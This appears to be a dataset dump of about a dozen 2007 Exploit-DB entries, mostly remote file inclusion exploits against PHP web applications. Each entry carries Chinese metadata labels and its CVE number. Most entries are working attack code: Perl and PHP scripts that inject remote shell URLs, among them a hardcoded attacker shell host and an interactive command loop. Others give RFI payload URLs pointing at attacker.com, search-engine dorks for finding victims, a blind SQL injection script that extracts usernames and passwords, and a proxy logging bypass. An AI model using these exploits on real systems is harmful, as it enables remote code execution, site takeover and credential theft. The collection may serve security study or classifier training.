QLWD/code_shield huggingface dataset:
标题: PHP-MIP 0.1 - 'top.php?laypath' Remote File Inclusion EDB-ID: 3374 CVE: 2007-1104 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-25 漏洞利用脚本: *********************************************************************
**********************************************************************
PHP Module Implementation(top.php laypath)Remote File Include Vul   ^
**********************************************************************
**********************************************************************
Downlaoad S : http://sourceforge.net/projects/phpmip/               ^
**********************************************************************
**********************************************************************
Author: GolD_M = [Mahmood_ali]  &&  Contact: HackEr_@W.Cn           ^
**********************************************************************
**********************************************************************
In:  /[path]/top.php                                                ^
**********************************************************************
**********************************************************************
Vulnerable Code:                                                    ^
**********************************************************************
**********************************************************************
include("$laypath/body.php");    Line : 23                          ^
**********************************************************************
**********************************************************************
Exploit:                                                            ^
**********************************************************************
**********************************************************************
http://Victim.Com/top.php?laypath=[Shell]                           ^
**********************************************************************
**********************************************************************

# milw0rm.com [2007-02-25] URL: https://www.exploit-db.com/exploits/3374
标题: phpBB Module NoMoKeTos Rules 0.0.1 - Remote File Inclusion EDB-ID: 3373 CVE: 2007-1106 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: #!/usr/bin/perl
#
#phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit
# 
#Coded by bd0rk || SOH-Crew
#
#Usage: exploit.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, Kacper, Lu7k, Maik
#
#Vulnerable Code: include_once($phpbb_root_path . 'includes/functions_admin.'.$phpEx);
#
# vendor: http://www.nomoketo.de/MODs/nomoketos_rules.zip

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'includes/functions_nomoketos_rules.php?phpbb_root_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to RulesMod ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-02-24] URL: https://www.exploit-db.com/exploits/3373
标题: NetProxy 4.03 - Web Filter Evasion / Bypass Logging EDB-ID: 3381 CVE: 2007-1225 2007-1224 类型: REMOTE 平台: WINDOWS 发布日期: 2007-02-27 漏洞利用脚本: #!/usr/bin/perl
###########################################################################
#
# Application: 
#
#  NetProxy 4.03
#  http://www.grok.co.uk/netproxy/index.html
#
# Description:
#
#  NetProxy includes a powerful web cache to boost 
#  performance and reduce online costs. There is 
#  also an application-level firewall to protect your 
#  network from unwanted access, full access logging 
#  to allow you to track Internet usage, and 
#  password-protected access to various Internet resources.
#
# Vulnerability:
#
#  Sending a specially crafted request to the proxy server 
#  allows users to view restricted Web content and bypass
#  the logging feature.
#
# Exploit:
#
#  Assume that access to http://www.milw0rm.com has been blocked. 
#  The standard query string sent to NetProxy looks like:
#
#   GET http://www.milw0rm.com HTTP/1.0
#
#  NetProxy recognizes that this is a blocked URL and subsequently 
#  blocks the request. However, sending a request without 'http://' 
#  in the URL allows access to the blocked URL (note that the port 
#  must be manually specified as well):
#
#   GET www.milw0rm.com:80 HTTP/1.0
#
#  In addition, requests made in this manner are not logged to 
#   NetProxy's connection log file. 
#
# Work-Around/Fix:
#
#  Since the application automatically prepends the 'http://' string
#  to every URL specified in the block list, this technique should work 
#  for all restricted Web sites, and ensures that there is no easy fix 
#  for this security hole. POC code follows.
#
# Credit:
#
#  Exploit discovered and coded by Craig Heffner
#  http://www.craigheffner.com
#  heffnercj [at] gmail.com
###########################################################################

use IO::Socket;

#Define the NetProxy server and port
$proxy_ip = "127.0.0.1";
$proxy_port = "8080";

#Set the site, port and page to request
$site = "www.milw0rm.com";
$port = "80";
$page = "index.html";

#Define FF and IE user agent strings
$ms_ie = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)";
$ms_ff = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1";

#Create connection to NetProxy
my $sock = new IO::Socket::INET(
   Proto => 'tcp',
   PeerAddr => $proxy_ip,
   PeerPort => $proxy_port,
   );
die "Failed to connect to [$proxy_ip:$proxy_port] : $!\n" unless $sock; 

#Format the request
$request = "GET $site:$port/$page HTTP/1.0\r\n";
$request .= "User-Agent: $ms_ff\r\n";
$request .= "\r\n";

#Send the request
print $sock $request;

#Read the reply
while(<$sock>){
 $reply .= $_;
}

close($sock);

#Separate NetProxy header from HTML
($header,$html) = split("\r\n\r",$reply);

print $html;

exit;

# milw0rm.com [2007-02-27] URL: https://www.exploit-db.com/exploits/3381
标题: Extreme phpBB 3.0.1 - 'functions.php' Remote File Inclusion EDB-ID: 3370 CVE: 2007-1105 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: # (C) xoron
#
# [Name: phpBB Extreme 3.0.1 (phpbb_root_path) Remote File Include Exploit ]
#
# [Author: xoron]
# [Exploit coded by xoron]
#
# [Download: http://sourceforge.net/project/showfiles.php?group_id=95900 ]
#
# [Tesekkurler: pang0, DJR]
# 
# [POC: /includes/functions.php?phpbb_root_path=http://evilscripts?]
#
# [Vuln Codes: include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );x );
#
#
$rfi = "functions.php?phpbb_root_path="; 
$path = "/includes/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) xoron\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Ac?k Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron.info - xoron.biz\n$thx: pang0, chaos, can bjorn\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-02-24] URL: https://www.exploit-db.com/exploits/3370
标题: Admin Phorum 3.3.1a - 'del.php?include_path' Remote File Inclusion EDB-ID: 3382 CVE: 2007-1219 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-27 漏洞利用脚本: #########################################################################
 #                                                                       #
 # Admin Phorum 3.3.1.a (del.php include_path)File Include Vulnerability #
 #                                                                       #
 # Author:  Gold_M <Hacker_ [at] w.Cn>  [Mahmood_ali]                    #
 #                                                                       #
 # Homepage: Www.Tryag.Cc                                                #
 #                                                                       #
 #########################################################################

 #########################################################################
 # Download S : http://www.phpforums.net/admin331.zip                    #
 # Other Info : http://www.phpforums.net/index.php?dir=dld               # 
 #                                                                       #
 # v.Code : Line 3                                                       #
 #                                                                       #
 # require "$include_path/delete_message.php";                           #
 #                                                                       #
 # Exploit:                                                              #
 # http://[VicTim]/[PaTh]/actions/del.php?include_path=[SHELL-TRYAG]     #
 #                                                                       #
 #########################################################################

# milw0rm.com [2007-02-27] URL: https://www.exploit-db.com/exploits/3382
标题: STWC-Counter 3.4.0 - 'downloadcounter.php' Remote File Inclusion EDB-ID: 3379 CVE: 2007-1233 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-26 漏洞利用脚本: <?php

//File Inclusion Exploit for STWC-Counter <= 3.4.0.0
//Found and Exploit Coded by burncycle - burncycle[(at)]robert-beran[(dot)]de
//|
//Vendor: http://www.stwc-counter.de/
//Dork: www.stwc-counter.de
//|
//Bug in "downloadcounter.php":
//..
//$stwc_verzeichniss = $stwc_counter_verzeichniss;
//..
//include($stwc_verzeichniss . "funktionen_intern.php");
//include($stwc_verzeichniss . "einstellungen.php");
//include($stwc_verzeichniss . "funktionen_ausgabe.php");
//..
//include($stwc_verzeichniss . "sprache/deutsch.php");
//..
//include($stwc_verzeichniss . "sprache/english.php");
//..
//|
//Usage: php exploit.php [pathtoscript] [pathtoshell] ([proxy:port])
//Example: php exploit.php http://pathtoscript.com/counter/ http://pathtoshell.com/shell.txt? (localhost:8118)
//|
//Your Box Needs the cURL extension of PHP
//The exploit works only with register_globals = On, allow_url_fopen = On and allow_url_include = On PHP settings on the target box
//|
//Edited 20.05.2007 by ensai (the same person as burncycle ;))
//Added proxy support, working conditions supplemented and easier file inclusion statement

//Nur ausnahme Fehler anzeigen
error_reporting(1);

echo "Usage: php ".$_SERVER["argv"][0]." [pathtoscript] [pathtoshell] ([proxy:port])\r\n\r\n";
echo "Example: php ".$_SERVER["argv"][0]." http://pathtoscript.com/counter/ http://pathtoshell.com/shell.txt? (localhost:8118)\r\n\r\n";

//Schauen ob alles angegeben wurde
if(!empty($_SERVER["argv"][1]) && !empty($_SERVER["argv"][2]))
{

  $pathtoscript = $_SERVER["argv"][1];
  $pathtoshell = $_SERVER["argv"][2];

  //erzeuge ein neues cURL Handle
  $ch = curl_init();
  
  //proxy setzen
  if (!empty($_SERVER['argv'][3]))
  {
    curl_setopt($ch, CURLOPT_PROXY, $_SERVER['argv'][3]);
  }

  //setzte die URL und andere Optionen
  curl_setopt($ch, CURLOPT_URL, $pathtoscript."downloadcounter.php?stwc_counter_verzeichniss=".$pathtoshell);
  curl_setopt($ch, CURLOPT_HEADER, 0);

  //f?hre die Aktion aus
  curl_exec($ch);

  //schlie?e das Handle und gebe Systemresourcen frei
  curl_close($ch);

}

?>

# milw0rm.com [2007-02-26] URL: https://www.exploit-db.com/exploits/3379
标题: Sinapis Forum 2.2 - 'sinapis.php?fuss' Remote File Inclusion EDB-ID: 3367 CVE: 2007-1131 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-23 漏洞利用脚本: Sinapis Forum 2.2

*****************
Found by kezzap66345 *
*****************
Script:
http://www.scripter.ch/start.php?id=41.18.9&pos=forum&title=Sinapis%20ForumGästebuch%20<img%20src=/pics/gbscr.gif>
*****************
Dork="Sinapis by scripter.ch"
Dork1="inurl:sinapis.php"
*****************
ERROR:
if($fuss != ""){include($fuss);}      <<< rfi coded


**************************************************************************************
RFI:

http://SITE.com/path//sinapis.php?fuss=[SHELL]

# milw0rm.com [2007-02-23] URL: https://www.exploit-db.com/exploits/3367
标题: CS-Gallery 2.0 - 'index.php?album' Remote File Inclusion EDB-ID: 3372 CVE: 2007-1108 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: <?php

//File Inclusion Exploit for CS_Gallery <= 2.0
//Found and Exploit Coded by burncycle - burncycle[(at)]robert-beran[(dot)]de
//|
//Vendor: http://www.cschneider.de/
//Dork: www.cschneider.info
//|
//Bug in "index.php":
//..
//$codefile=$_POST['album'].'/code.php';
//include $codefile;
//..
//|
//Usage: php exploit.php [pathtoscript] [pathtoshell] ([proxy:port])
//Example: php exploit.php http://pathtoscript.com/cs_gallery/ http://pathtoshell.com/shell.txt? (localhost:8118)
//|
//Your Box Needs the cURL extension of PHP
//The exploit works only with allow_url_fopen = On and allow_url_include = On PHP settings on the target box
//|
//Edited 20.05.2007 by ensai (the same person as burncycle ;))
//Added proxy support, working conditions supplemented and easier file inclusion statement

//Nur ausnahme Fehler anzeigen
error_reporting(1);

echo "Usage: php ".$_SERVER["argv"][0]." [pathtoscript] [pathtoshell] ([proxy:port])\r\n\r\n";
echo "Example: php ".$_SERVER["argv"][0]." http://pathtoscript.com/cs_gallery/ http://pathtoshell.com/shell.txt? (localhost:8118)\r\n\r\n";

//Schauen ob alles angegeben wurde
if(!empty($_SERVER["argv"][1]) && !empty($_SERVER["argv"][2]))
{

  $pathtoscript = $_SERVER["argv"][1];
  $pathtoshell = $_SERVER["argv"][2];

  //erzeuge ein neues cURL Handle
  $ch = curl_init();
  
  //proxy setzen
  if (!empty($_SERVER['argv'][3]))
  {
    curl_setopt($ch, CURLOPT_PROXY, $_SERVER['argv'][3]);
  }

  //setzte die URL und andere Optionen
  curl_setopt($ch, CURLOPT_URL, $pathtoscript."index.php?todo=securealbum");
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, "album=".$pathtoshell);

  //f?hre die Aktion aus
  curl_exec($ch);

  //schlie?e das Handle und gebe Systemresourcen frei
  curl_close($ch);

}

?>

# milw0rm.com [2007-02-24] URL: https://www.exploit-db.com/exploits/3372
标题: Coppermine Photo Gallery 1.3.x - Blind SQL Injection EDB-ID: 3371 CVE: 2007-1107 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: <?
# Coppermine Photo Gallery 1.3.x Blind SQL Injection Exploit
# by s0cratex, RTM Member
# Visit: www.zonartm.org

/*
You need make a small work... Add a fav pic, enter to the site and add
/addfav.php?pid=2 for example..xD
... in the line: if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo
chr($i); break; }  }
the word "download" depends of the language...
*/

# saludos a rgod, OpTix, crypkey 'n mechas...

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$host = "localhost"; $path = "/cpg"; $port = "80";
$id = "1";

echo "Coppermine Photo Gallery 1.3.x fav Blind SQL Injection Exploit\n";
echo "--------------------------------------------------------------\n";
echo "\n";
echo "Username -> ";
$j = 1; $user = "";
while(!strstr($user,chr(0))){
for($x=0;$x<255;$x++){
$xpl = "'') OR 1=(SELECT (IF((ASCII(SUBSTRING(user_name,".$j.",1))=".$x."),1,0)) FROM cpg131_users WHERE user_id=".$id.")/*";
$xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}";
$xpl = base64_encode($xpl);
$cnx = fsockopen($host,$port);
fwrite($cnx, "GET ".$path."/thumbnails.php?album=favpics HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n");
while(!feof($cnx)){
if(eregi("download",fgets($cnx))){ $user.=chr($x); echo chr($x); break; }  }
fclose($cnx);
if ($x==255) {
die("\n Try again..."); }
}
$j++;
}
echo "\n";
echo "Password -> ";
$a = 1; $pass = "";
while(!strstr($pass,chr(0))){
for($i=0;$i<255;$i++){
$xpl = "'') OR 1=(SELECT (IF((ASCII(SUBSTRING(user_password,".$a.",1))=".$i."),1,0)) FROM cpg131_users WHERE user_id=".$id.")/*";
$xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}";
$xpl = base64_encode($xpl);
$cnx2 = fsockopen($host,$port);
fwrite($cnx2, "GET ".$path."/thumbnails.php?album=favpics HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n");
while(!feof($cnx2)){
if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo chr($i); break; }
}
fclose($cnx2);
if ($i==255) {
die("\n Try again..."); }
}
$a++;
}
echo "--------------------------------------------------------------\n";
echo "s0cratex@zonartm.org || if you speak spanish->MSN: s0cratex@hotmail.com ..xD\n";
echo "www.zonartm.org/blog/s0cratex\n";
echo "plexinium.com comming soon <- Hacking Nica\n";
?>

# milw0rm.com [2007-02-24] URL: https://www.exploit-db.com/exploits/3371
标题: Sinapis 2.2 Gastebuch - 'sinagb.php?fuss' Remote File Inclusion EDB-ID: 3366 CVE: 2007-1130 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-23 漏洞利用脚本: Sinapis 2.2 Gastebuch

*****************
Found by kezzap66345 *
*****************
Script:
http://www.scripter.ch/start.php?id=41.18.9&pos=gb&title=Sinapis%20Gästebuch%20<img%20src=/pics/gbscr.gif>
*****************
Dork="inurl:sinagb.php"
*****************
ERROR:

if($fuss == ""){
echo "</body></html>";}
else{
include($fuss);}       <<< rfi coded


**************************************************************************************
RFI:

http://SITE.com/path//sinagb.php?fuss=[SHELL]


**************************************************************************************
kezzap66345[at]hotmail[dot]com

******thanx=x0r0n*str0ke*shika********************************************************

# milw0rm.com [2007-02-23] URL: https://www.exploit-db.com/exploits/3366
标题: DZCP (deV!L`z Clanportal) 1.4.5 - Remote File Disclosure EDB-ID: 3357 CVE: 2007-1167 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-21 漏洞利用脚本: # DZCP (Devilz Clanportal) <= 1.4.5 Mysql Data viewable
# Found by: Kiba
# Solution: Install security Fix!
# Exploit:

http://[SITE]/[PATH]/inc/filebrowser/browser.php?file=inc/mysql.php

Example: http://www.example.com/dzcp/inc/filebrowser/browser.php?file=inc/mysql.php

# milw0rm.com [2007-02-21] URL: https://www.exploit-db.com/exploits/3357
标题: eFiction 3.1.1 - 'path_to_smf' Remote File Inclusion EDB-ID: 3361 CVE: 2007-1118 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-22 漏洞利用脚本: ********************************************************************************
To ConTacT mE @ www.Asb-May.net/bb
ScRiPt:-http://www.efiction.org/downloads/eFiction31.zip
GrEaTz To:-ToOofa-HaCk.eGy (All AsB-MaY DisCoverY ExPloIts GrOup)
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs Gr0uP}   >>
******************************************************************************
logout.php:-
include_once($path_to_smf."Sources/Subs-Auth.php");

get_session_vars.php:-
require_once($path_to_smf."SSI.php");
********************************************************************************
ExPlOiT:-http://www.SitE.com/bridges/SMF/logout.php?path_to_smf=[Shell]
ExPlOiT:-http://www.SitE.com/get_session_vars.php?path_to_smf=[Shell]
********************************************************************************

# milw0rm.com [2007-02-22] URL: https://www.exploit-db.com/exploits/3361
标题: FCRing 1.31 - 'fcring.php?s_fuss' Remote File Inclusion EDB-ID: 3365 CVE: 2007-1133 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-23 漏洞利用脚本: FCRing 1.3 Webringskript

*****************
Found by kezzap66345 *
*****************
Script:
http://www.scripter.ch/start.php?id=41.18.9&pos=fcring&title=FCRing%201.3
*****************
ERROR:


 if($s_fuss != "")
  include($s_fuss);      <<< rfi coded


**************************************************************************************
RFI:

http://SITE.com/path/fcring.php?s_fuss=[SHELL]


**************************************************************************************
kezzap66345[at]hotmail[dot]com

******thanx=x0r0n*str0ke*shika********************************************************

# milw0rm.com [2007-02-23] URL: https://www.exploit-db.com/exploits/3365
标题: FlashGameScript 1.5.4 - 'index.php?func' Remote File Inclusion EDB-ID: 3360 CVE: 2007-1078 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-22 漏洞利用脚本: ___ ___                                        
_____   /   |   \            ___________   ______  _  __
\__  \ /    ~    \  ______ _/ ___\_  __ \_/ __ \ \/ \/ /
 / __ \\    Y    / /_____/ \  \___|  | \/\  ___/\     / 
(____  /\___|_  /           \___  >__|    \___  >\/\_/  
     \/       \/                \/            \/        


--------------------------------------------------------
Author          : JuMp-Er
Date            : feb, 21th 2007
Level           : Dangerous
contact: : aH-crew[at]hotmail[dot]com
--------------------------------------------------------


Software description
--------------------------------------------------------
App             :FlashGameScript
Version  :1.5.4
URL:  :http://www.flashgamescript.com/
Price:  :$60
Description :
FlashGameScript: Flash Game Script is the latest arcade website script created by developers at ghoney.com and will be market by folks at FlashGameScript.com.
Our game site script is created to maximized arcade site owner.s profit with additional plug-in for alternative income opportunities.
-------------------------------------------------------


Vulnerability:
---------------
      line 27: $absolutepath = $cfg[absolutepath];
at index.php line 28: $func =$_GET[func];
      line 29: $pluginpath = $instdir."admin/plugins/";
---------------
Exploit:

http://www.somesite.com/index.php?func=http://attacker.com/evil_script?

---------------

Greetz to all members of active. Hacking Crew

# milw0rm.com [2007-02-22] URL: https://www.exploit-db.com/exploits/3360